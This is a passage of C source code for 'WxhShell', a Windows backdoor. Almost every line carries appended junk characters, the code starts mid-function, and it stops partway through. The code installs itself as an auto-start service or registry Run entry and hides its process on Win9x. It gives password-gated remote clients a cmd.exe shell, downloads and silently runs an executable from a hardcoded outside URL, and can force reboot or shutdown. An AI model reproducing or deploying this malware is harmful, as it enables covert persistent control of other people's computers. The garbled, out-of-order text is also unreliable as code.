    ExitThread(0); x}F.<`  
    } S _#UEf  
    break; s{A-K5S  
    } } #%sI"9  
  // 关机 ]c$%;!ZE  
  case 'd': { E<~/AReo  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \@I.K+hj$  
    if(Boot(SHUTDOWN)) rytizbc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U6_1L,W  
    else { 12cfqIo9  
    closesocket(wsh); ~\XB'  
    ExitThread(0); c*6o{x}K  
    } !.p!  
    break; IK}T. *[  
    } Fbk<qQH  
  // 获取shell yP[GU| >(  
  case 's': { cL=P((<K?  
    CmdShell(wsh); zSkM8LM2  
    closesocket(wsh); 9:@os0^O  
    ExitThread(0); M: `FZ}&L  
    break; d(fgv  
  } l:faI&o.@  
  // 退出 #=$4U!yL  
  case 'x': { '}XW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4e*0kItC  
    CloseIt(wsh); <5L!.Ci  
    break; f1\x>W4z~\  
    } {d )Et;_  
  // 离开 ,PIdPaV--  
  case 'q': { oNiS"\t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s"a*S\a;b  
    closesocket(wsh); Y*"%;e$tg  
    WSACleanup(); iUl{_vb  
    exit(1); ` 6"\.@4  
    break; YQ?|Vb U  
        } 5[*MT%ms  
  } 8vUP{f6{  
  } ~\i uV  
',O@0L]L  
  // 提示信息 Y}|78|q*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e HOm^.gd  
} ClfpA?vv  
  } $_)f|\s  
d$Mj5wN:q  
  return; kfmIhHlYQ  
} W>@+H"pZ  
O|gb{  
// shell模块句柄 iPkG=*Ip(%  
int CmdShell(SOCKET sock) r Ssv^W+  
{ [;X YT  
STARTUPINFO si; S>H W`   
ZeroMemory(&si,sizeof(si)); r2xlcSn%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W]y$6P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _abVX#5<  
PROCESS_INFORMATION ProcessInfo; AJmS1 B  
char cmdline[]="cmd"; h eh! cDK  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mCq*@1Lp9  
  return 0; i[YYR,X|  
} OB"QWdh  
`Cb$8;)z  
// 自身启动模式 g@j:TQM_0  
int StartFromService(void) {8"W  
{ 'ugG^2Y  
typedef struct 7IIM8/BI  
{ h@Hmo^!9J  
  DWORD ExitStatus; )}6:Ke)  
  DWORD PebBaseAddress; zZE?G:isR  
  DWORD AffinityMask; tPp }/a%D  
  DWORD BasePriority;  ! $d:k|b  
  ULONG UniqueProcessId; 1 9)78kV{  
  ULONG InheritedFromUniqueProcessId; 1r.q]^Pq~  
}   PROCESS_BASIC_INFORMATION; S"_vD<q  
*}2o \h6Q  
PROCNTQSIP NtQueryInformationProcess; QeQbO  
f<zh-Gq  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :m+:%keK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2C-RoZ~  
Z1OcGRN!  
  HANDLE             hProcess; =l_eliM/  
  PROCESS_BASIC_INFORMATION pbi; ?9PNCd3$d  
q$HBPR4h  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l_kH^ET  
  if(NULL == hInst ) return 0; oiR` \uY  
RGxOb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1yKf=LZ^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WK<pZ *x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [hiOFmMJZ-  
YE-kdzff  
  if (!NtQueryInformationProcess) return 0; dk3\~m%Pv  
|0 Zj/1<$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v'iQLUgI  
  if(!hProcess) return 0; bRIb'%=+GA  
=RV$8.Xp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1-b,X]i  
t>b^S,  
  CloseHandle(hProcess); xt-;7  
DSIa3! 0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g1}RA@9  
if(hProcess==NULL) return 0; \ oL+O|  
6: M   
HMODULE hMod; %8$wod6  
char procName[255]; O=+C Kx@  
unsigned long cbNeeded; ]9x30UXLwD  
qI'a|p4fn?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "o TwMU  
)^r4|WYyt  
  CloseHandle(hProcess); xW^<.@Agm  
#}vcffgZ  
if(strstr(procName,"services")) return 1; // 以服务启动 z#-&MJ  
?Dfgyz  
  return 0; // 注册表启动 c(eu[vj:  
} h.8J6;36  
0_Y;r{3m"  
// 主模块 ]IoS-)$Z/  
int StartWxhshell(LPSTR lpCmdLine) z3$PrK%  
{ Y${ $7+@  
  SOCKET wsl; 7%F9.h  
BOOL val=TRUE; [}VEDx  
  int port=0; "OWq]q#  
  struct sockaddr_in door; `rM-b'D  
N,;Bl&EU  
  if(wscfg.ws_autoins) Install(); czT$mKj3  
G.BqT\ o'  
port=atoi(lpCmdLine); E]e6a^J#  
V1Fdt+#  
if(port<=0) port=wscfg.ws_port; &-{4JSII  
apYf,"|9  
  WSADATA data; 5 &VLq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yqAw7GaBN  
v0HFW%YJ^J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :oZ30}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "%sW/ph  
  door.sin_family = AF_INET; `5gcc7b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Sx pl%  
  door.sin_port = htons(port); ]6(NeS+  
&yP9vp="  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *W0`+#Dcv  
closesocket(wsl); l~\'Z2op   
return 1; W"~G]a+  
} [g%oo3`A  
kgA')]  
  if(listen(wsl,2) == INVALID_SOCKET) { oinF<-(  
closesocket(wsl); J NsK   
return 1; 0BBWuNF.  
} uODpIxN  
  Wxhshell(wsl); .lj\ H  
  WSACleanup(); vZk+NS<  
Qg4qjX](?  
return 0; Q"\*JV5  
M~^|dR)D  
} ?6a:!^eL  
]ErAa"?  
// 以NT服务方式启动 x0 3|L!n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :r!nz\%WW  
{ j]kx~  
DWORD   status = 0; k%.IIVRx  
  DWORD   specificError = 0xfffffff; f v}h;?C  
?z?IEj}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0OlB;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?-Oy/Y K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; obY5taOw  
  serviceStatus.dwWin32ExitCode     = 0; $Y>LUZ)b&8  
  serviceStatus.dwServiceSpecificExitCode = 0; #N7@p }P  
  serviceStatus.dwCheckPoint       = 0; O.!|;)HQ  
  serviceStatus.dwWaitHint       = 0; 3'IF? ](]U  
RW%e%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |r6<DEg  
  if (hServiceStatusHandle==0) return; :Oy9`vv  
A LKU  
status = GetLastError(); )6Hc Pso6  
  if (status!=NO_ERROR) }oloMtp$  
{ }Vk#w%EJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `@-H ;  
    serviceStatus.dwCheckPoint       = 0; sJMT _yt;  
    serviceStatus.dwWaitHint       = 0; =C u !  
    serviceStatus.dwWin32ExitCode     = status; : 3*(kb1)&  
    serviceStatus.dwServiceSpecificExitCode = specificError; >e'6RZRLA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^!?W!k!:V  
    return; w {6kU   
  } qVE6ROSh  
epR7p^`7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F0])g  
  serviceStatus.dwCheckPoint       = 0; #r>  
  serviceStatus.dwWaitHint       = 0; ]qvrpI!E!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y/Paq^Hd  
} w}X<]u  
eG=Hyc  
// 处理NT服务事件,比如:启动、停止 ~X)Aw 3}F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X\V1c$13CK  
{ w+z~Mz}Vz  
switch(fdwControl) ]?-8[v~{C  
{ 7c5+8k3  
case SERVICE_CONTROL_STOP: R:fERj<s  
  serviceStatus.dwWin32ExitCode = 0; 1T!(M"'Ij  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'MVE5  
  serviceStatus.dwCheckPoint   = 0; nj]l'~Y0  
  serviceStatus.dwWaitHint     = 0; [x{'NwP?  
  { &,JrhMr\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M4~^tML>Ey  
  } )E;B'^RVR  
  return; L9W'TvTwo  
case SERVICE_CONTROL_PAUSE: lhZXq!2p  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tHgu#k0  
  break; "**Tw'  
case SERVICE_CONTROL_CONTINUE: =c8xg/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `O/1aW1  
  break; )O;6S$z9Y  
case SERVICE_CONTROL_INTERROGATE: Y HSdaocp  
  break; =ss(~[  
}; leR-oeSO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); avxr|uk  
} KxhMPvN'  
THEpW{.E  
// 标准应用程序主函数 %{Ib  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o"wvP~H  
{ 3)cH\gsg9  
b\^X1eo  
// 获取操作系统版本 X\sOeb:]  
OsIsNt=GetOsVer(); J[ ;g \  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $`;1][OD  
"Tt5cqUQoY  
  // 从命令行安装 @$mh0K>  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?DJ/Yw>>3  
2 8>  
  // 下载执行文件 %La<]  
if(wscfg.ws_downexe) { r{gJ[%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S@a#,,\[  
  WinExec(wscfg.ws_filenam,SW_HIDE); -S"$S16D  
} O8N\  
d8? }69:h  
if(!OsIsNt) { ~"+Fp&[9f  
// 如果时win9x,隐藏进程并且设置为注册表启动 jWd 7>1R?  
HideProc(); . 787+J?  
StartWxhshell(lpCmdLine); HV??B :  
} \e/'d~F  
else &T8prE?  
  if(StartFromService()) D$RQD{*  
  // 以服务方式启动 |? !Ew# w  
  StartServiceCtrlDispatcher(DispatchTable); #Pz},!7  
else uwl;(zwh_  
  // 普通方式启动 Et=N`k _gO  
  StartWxhshell(lpCmdLine); DM*mOT  
=_`4HDr  
return 0; xrK%3nA4s"  
} |"Js iT  
/2&jId  
`R]9+_"N  
!S[8w9q  
=========================================== (N U*PQY6  
f.`noZN  
Syn>;FX  
T3o}%wGW  
J>P{8Aw  
x8 sSb:N  
" PX3rHKK {  
kne{Tp  
#include <stdio.h> Y" s1z<?  
#include <string.h> L[d 7@  
#include <windows.h> 0)V<)"i  
#include <winsock2.h> .,pGW8Js  
#include <winsvc.h> xS` %3+|  
#include <urlmon.h> dlC)&Ai  
%v\0Dm+A  
#pragma comment (lib, "Ws2_32.lib") 9}FWO&LiB  
#pragma comment (lib, "urlmon.lib") +k'5W1e  
kmM1)- v  
#define MAX_USER   100 // 最大客户端连接数 CUT D]:\  
#define BUF_SOCK   200 // sock buffer (z0S5#g ,x  
#define KEY_BUFF   255 // 输入 buffer <JKRdIx&1  
<LDVO'I0 !  
#define REBOOT     0   // 重启 8? 4j-  
#define SHUTDOWN   1   // 关机 edqekjh  
NamBJ\2E1[  
#define DEF_PORT   5000 // 监听端口 rS>JzbWa  
-DrR6kGjR  
#define REG_LEN     16   // 注册表键长度 ]&1Kz 2/  
#define SVC_LEN     80   // NT服务名长度 MJJy mi'b  
EZz Ox(g  
// 从dll定义API udDhJ?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =yiRB?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f0fN1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V?v,q'? $  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bR@ e6.<i  
%^m6Q!  
// wxhshell配置信息 zg&<HJO  
struct WSCFG { ,V!s w5_5m  
  int ws_port;         // 监听端口 RV5X0  
  char ws_passstr[REG_LEN]; // 口令 w{Wz^=';  
  int ws_autoins;       // 安装标记, 1=yes 0=no , gk49z9  
  char ws_regname[REG_LEN]; // 注册表键名 T9\wkb.  
  char ws_svcname[REG_LEN]; // 服务名 U(DK~#}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 TmG$Cjf84  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]:JoGGE a0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o&1ewE(O]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gvO}u2.:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Qwb=N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rIg1]q  
- *!R  
}; j`A%(()d  
ppjd.  
// default Wxhshell configuration W XDl\*n  
struct WSCFG wscfg={DEF_PORT, \5 IB/ *  
    "xuhuanlingzhe", 1q<BYc+z  
    1, zlZ$t{[,  
    "Wxhshell", CN@bJo2  
    "Wxhshell", hex:e2x  
            "WxhShell Service", LFob1HH*8  
    "Wrsky Windows CmdShell Service", V*rAZ0  
    "Please Input Your Password: ", tgH@|Kg  
  1, q' 77BRD3  
  "http://www.wrsky.com/wxhshell.exe", k/YEUC5  
  "Wxhshell.exe" r k;k:<c  
    }; yTwv2l;U  
.t''(0_kC  
// 消息定义模块 BRbx.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K O"U5v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7A?~a_Ep  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tM]~^U  
char *msg_ws_ext="\n\rExit."; -?`^^ v  
char *msg_ws_end="\n\rQuit."; ,j^ /~  
char *msg_ws_boot="\n\rReboot..."; SuU,SE'TX  
char *msg_ws_poff="\n\rShutdown..."; RUUV"y  
char *msg_ws_down="\n\rSave to "; %N_5p'W  
5mUHk]W  
char *msg_ws_err="\n\rErr!"; jIwz G+)$P  
char *msg_ws_ok="\n\rOK!"; Tz3 L#0:j  
7J,j  
char ExeFile[MAX_PATH]; B}8xA}<  
int nUser = 0; SYRr|Lg  
HANDLE handles[MAX_USER]; x zu)``?  
int OsIsNt; |uI d:^ {  
Y%y=  
SERVICE_STATUS       serviceStatus; j'FSd*5m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A#$oY{"2Y  
rk:^^r>5Qi  
// 函数声明 ~wf&78  
int Install(void); hp+=UnW  
int Uninstall(void); 0(A`Ia  
int DownloadFile(char *sURL, SOCKET wsh); 9HrT>{@  
int Boot(int flag); ;`',M6g  
void HideProc(void); WzZ<ZCHm  
int GetOsVer(void); "s[wLclfG  
int Wxhshell(SOCKET wsl); H)z}6[`  
void TalkWithClient(void *cs); L#mf[a@pCn  
int CmdShell(SOCKET sock); "C%<R  
int StartFromService(void); =V~p QbZ  
int StartWxhshell(LPSTR lpCmdLine);  |`[0U  
VA + ?xk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ekC 1wN l  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l Os91+.%  
-J*BY2LU3f  
// 数据结构和表定义 <y[LdB/a  
SERVICE_TABLE_ENTRY DispatchTable[] = ,Z*&QR  
{ *Z'*^Y1le  
{wscfg.ws_svcname, NTServiceMain}, 4{4VC"fa  
{NULL, NULL} x9Um4!/t  
}; y(/"DUx  
0'q&7 MV  
// 自我安装 KSkT6_<  
int Install(void) 6BK-(>c(6  
{ j<|I@0  
  char svExeFile[MAX_PATH]; =y+gS%o$  
  HKEY key; "IQ' (^-P  
  strcpy(svExeFile,ExeFile); B8A-|S!,U  
}2c)UQD8  
// 如果是win9x系统,修改注册表设为自启动 ,9;RP/"7  
if(!OsIsNt) { yu3: Hv}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VRden>vKN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W;%$7&+0  
  RegCloseKey(key); 0?c2=Y   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ! R rk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NMJX `  
  RegCloseKey(key); \%& BK.t  
  return 0; LF6PKS  
    } ?RW7TWf  
  } ws}cMX]*  
} n!Hj4~T0  
else { { 3,_i66  
Z[9) hGh  
// 如果是NT以上系统,安装为系统服务 DzZEn]+zt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0QJ :  
if (schSCManager!=0) _[%2QwAUj*  
{ rdj_3Utv  
  SC_HANDLE schService = CreateService 'N aNh0y  
  ( S+wy^x@@  
  schSCManager, ?XCFR t,ol  
  wscfg.ws_svcname, ]'IZbx:  
  wscfg.ws_svcdisp, /Z3 Mlm{  
  SERVICE_ALL_ACCESS,  SXqWq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , au=A+  
  SERVICE_AUTO_START, yV"k:_O{  
  SERVICE_ERROR_NORMAL, RBOb/.$  
  svExeFile, GgT 5'e;N  
  NULL, {*yFTP"93  
  NULL, t+9[ki  
  NULL, h D5NX  
  NULL, Fw{:fFZC[  
  NULL 5:R$xgc  
  ); rgo#mTQ_  
  if (schService!=0) qb$&BZj]|  
  { z6'Cz}%EP'  
  CloseServiceHandle(schService); ]u5B]ZQnA  
  CloseServiceHandle(schSCManager); 7{z\^R^O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0Y>5&  
  strcat(svExeFile,wscfg.ws_svcname); UY5wef2sF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {UeS_O>(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (r6'q0[  
  RegCloseKey(key); !l6Ez_'  
  return 0; og[cwa_  
    } %3%bRP  
  } o}4~CN9}  
  CloseServiceHandle(schSCManager); 9ZJn 8ki  
} ?8U#,qq#`  
} kJ'rtz4QO  
?2(5 2?cJ  
return 1; \k4em{K  
} z@<OR$/`L  
!eu\ShI  
// 自我卸载 G-6k[-@-v  
int Uninstall(void) d6+$[4w  
{ tFEY8ut{  
  HKEY key; AAXlBY6Y-  
V|{\8&  2  
if(!OsIsNt) { 11^.oa+`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wa5B;X~  
  RegDeleteValue(key,wscfg.ws_regname); ;!hwcOkX  
  RegCloseKey(key); eae`#>XP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,*kh{lJ  
  RegDeleteValue(key,wscfg.ws_regname); `VrQ? s  
  RegCloseKey(key); ^? V9  
  return 0; wi/qI(O!  
  } 7gc?7TM  
} 9,?7mgZ p  
} a.z)m} +  
else { 5La' I7q  
\1He9~6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XfQK kol  
if (schSCManager!=0) OWys`2W  
{ I}sb0 Q&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OQ&'3hv{  
  if (schService!=0) gF>t+"+ x  
  { ;Rf@S$  
  if(DeleteService(schService)!=0) { Xaw ~Hh)  
  CloseServiceHandle(schService); %<O0Yenu  
  CloseServiceHandle(schSCManager); #|"M  
  return 0; O?`_RN4l  
  } gX|We}H  
  CloseServiceHandle(schService); :V0sKg|sS  
  } #F=!g?  
  CloseServiceHandle(schSCManager); x~JOg57up  
} h0&Oy52  
} {%oxzdPc  
onU\[VvM  
return 1; - i#Kpf  
} 1)#dgsa  
=4x6v<  
// 从指定url下载文件 PQ!'<  
int DownloadFile(char *sURL, SOCKET wsh) Ye|gW=FUR  
{ s +S6'g--  
  HRESULT hr; (oiQ5s^f  
char seps[]= "/"; &Pv$nMB$I  
char *token; }@$CS5w  
char *file; K;THYMp/[  
char myURL[MAX_PATH]; ~,F]~|U7l  
char myFILE[MAX_PATH]; z4J\BB  
yAGQD[ih  
strcpy(myURL,sURL); !2B~.!&   
  token=strtok(myURL,seps);  1l}Am>}  
  while(token!=NULL) dc emF  
  { -k>k<bDAI  
    file=token; #l) o<Z  
  token=strtok(NULL,seps);  nmL|v  
  } 1A;,"8kBd  
nRq[il0 `i  
GetCurrentDirectory(MAX_PATH,myFILE); HIj:?y  
strcat(myFILE, "\\"); a]V#mF |{  
strcat(myFILE, file); ={h^X0<s9  
  send(wsh,myFILE,strlen(myFILE),0); U\{I09@E 0  
send(wsh,"...",3,0); _^eA1}3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); OPq6)(Q  
  if(hr==S_OK) hn6'$P  
return 0; WzdlrkD  
else =<M>fJ)  
return 1; b<r*EY  
4,)QV_?  
} C2iOF/4  
f e6Op  
// 系统电源模块 ept:<!4  
int Boot(int flag) $WE _aNfja  
{ Q[`2? j?  
  HANDLE hToken; dj,lbUL  
  TOKEN_PRIVILEGES tkp; X2~KNw  
7 oYD;li$k  
  if(OsIsNt) { s!Id55R]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {c1wJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >9g^-~X;v  
    tkp.PrivilegeCount = 1; guy!/zQ>A  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ra~:O\Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sdewz(xskj  
if(flag==REBOOT) { M-!#-l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RzB64  
  return 0; ,:81DA  
} =/xXB  
else { bx".<q(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LM.#~7jC  
  return 0; 1mEW]z  
} ]?jmRk^ .  
  } uxq#q1  
  else { (ke<^sv7!  
if(flag==REBOOT) { kl&_O8E+K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =Y3d~~  
  return 0; 3fop.%(  
} ?GZ?HK|  
else { +@rc(eOwvN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4 >D5t)254  
  return 0; 5kv]k?   
} i)ibDrX!I  
} .e:+Ek+  
1@<>GDB9  
return 1; 8H SGOs =8  
} Gg7ZSB 7  
C|ou7g4'p  
// win9x进程隐藏模块 twTRw:.!f  
void HideProc(void) \g@jc OKU  
{ r2Q) Q  
PzLV}   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  & *&  
  if ( hKernel != NULL ) 3'`X_C|d53  
  { JnH5v(/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K*MI8')  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lU3Xd_v O  
    FreeLibrary(hKernel); lzZ=!dG  
  } *\wf(o>Q  
5YiBw|Z7 "  
return; j)O8&[y=  
} >LB x\/  
 PuU<  
// 获取操作系统版本 tbi(e49S  
int GetOsVer(void) xm<sH!,j  
{ ,PyPRPk  
  OSVERSIONINFO winfo; '8Lc}-M4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z:W1(/W~  
  GetVersionEx(&winfo); %u$dN9cw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '#8;bU  
  return 1; [6Nzz]yy  
  else S4X['0rX!  
  return 0; P,Rqv)}X  
} $U5$*R@jo[  
0EP8MRSR  
// 客户端句柄模块 v]KI=!Gs  
int Wxhshell(SOCKET wsl) DWJkN4}o  
{ }A_>J7w  
  SOCKET wsh; C}mWX7<Z.  
  struct sockaddr_in client; o)6udRzBv  
  DWORD myID; d`Em) 3v  
5'O.l$)y  
  while(nUser<MAX_USER) 9]/j u  
{ ,k3aeM~`%w  
  int nSize=sizeof(client); vui{["  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'r?OzFtxh  
  if(wsh==INVALID_SOCKET) return 1; +^.Q%b0Xx  
(vf5qF^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ( G6N@>V(`  
if(handles[nUser]==0) lf9_!`DGV  
  closesocket(wsh); c )o[3o7  
else #8jH_bi  
  nUser++; \it<]BN  
  } 3/hAxd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @AdJu-u  
&U/~*{  
  return 0; :`P;(h  
} 4) nQBFX  
9^c"HyR  
// 关闭 socket ;w}5:3+  
void CloseIt(SOCKET wsh) "ae55ft//  
{ Uyyw'Ni  
closesocket(wsh); W(tXq  
nUser--; }t #Hq  
ExitThread(0); p{Gg,.f!HM  
}  qz:_T  
oYN# T=Xi  
// 客户端请求句柄 YR`Mi.,Sfm  
void TalkWithClient(void *cs) $bKa"T*  
{ [}_ar  
|KC3^  
  SOCKET wsh=(SOCKET)cs; !f\6=Z?>3  
  char pwd[SVC_LEN]; )FqE8oN-  
  char cmd[KEY_BUFF]; 3?uP$(l  
char chr[1]; ~qT+sc!t  
int i,j; J=U7m@))Y#  
=kLg)a |  
  while (nUser < MAX_USER) { vu.f B4  
6A/|XwfE/v  
if(wscfg.ws_passstr) { kB]|4CG{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z [5HI;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F<w/@ .&m  
  //ZeroMemory(pwd,KEY_BUFF); HF\L`dJX?  
      i=0; m%E7V{t  
  while(i<SVC_LEN) { BWX&5""  
}H ,A T  
  // 设置超时 ZdH WSfO)O  
  fd_set FdRead; :7!/FBd  
  struct timeval TimeOut; aV(*BE/@F  
  FD_ZERO(&FdRead); /HDX[R   
  FD_SET(wsh,&FdRead); T "G!H  
  TimeOut.tv_sec=8; ZcO!cR&*'J  
  TimeOut.tv_usec=0; 9AL\6 @<a*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1ck2Gxn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >8tE`2[i*  
W3 8 =fyD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t7A.b~#  
  pwd=chr[0]; +TAm9eDNV  
  if(chr[0]==0xd || chr[0]==0xa) { $@&bK2@.(  
  pwd=0; 9 au)K!hN  
  break; "ej>1{3Y:=  
  } #G{T(0<F  
  i++; Il;'s  
    } c*1x*'j.  
!P92e1  
  // 如果是非法用户,关闭 socket I@L-%#@R1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d) o<R;F  
}  BW\R  
LbYI{|_Js  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kb7\qH!n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vP~F+z @g  
dF.T6b  
while(1) { @xkM|N?  
329xo03-[  
  ZeroMemory(cmd,KEY_BUFF); In;z\"NN4  
{G{@bUG]p  
      // 自动支持客户端 telnet标准   &&<^wtznO  
  j=0; 1k/l7&n"  
  while(j<KEY_BUFF) { X7 Za Q .  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |XH3$;=*h  
  cmd[j]=chr[0]; Vi?Z`G]w!  
  if(chr[0]==0xa || chr[0]==0xd) { f@/qW!o  
  cmd[j]=0; F9+d7 Y$  
  break; X)&Z{ V>  
  } 25 ~$qY_  
  j++; 1)PR]s:-m@  
    } c,~44Z  
8DI|+`OgW  
  // 下载文件 < NAR'{f  
  if(strstr(cmd,"http://")) { p4AXQuOP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =}"hC`3e  
  if(DownloadFile(cmd,wsh)) <|`@K| N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q}1$OsM  
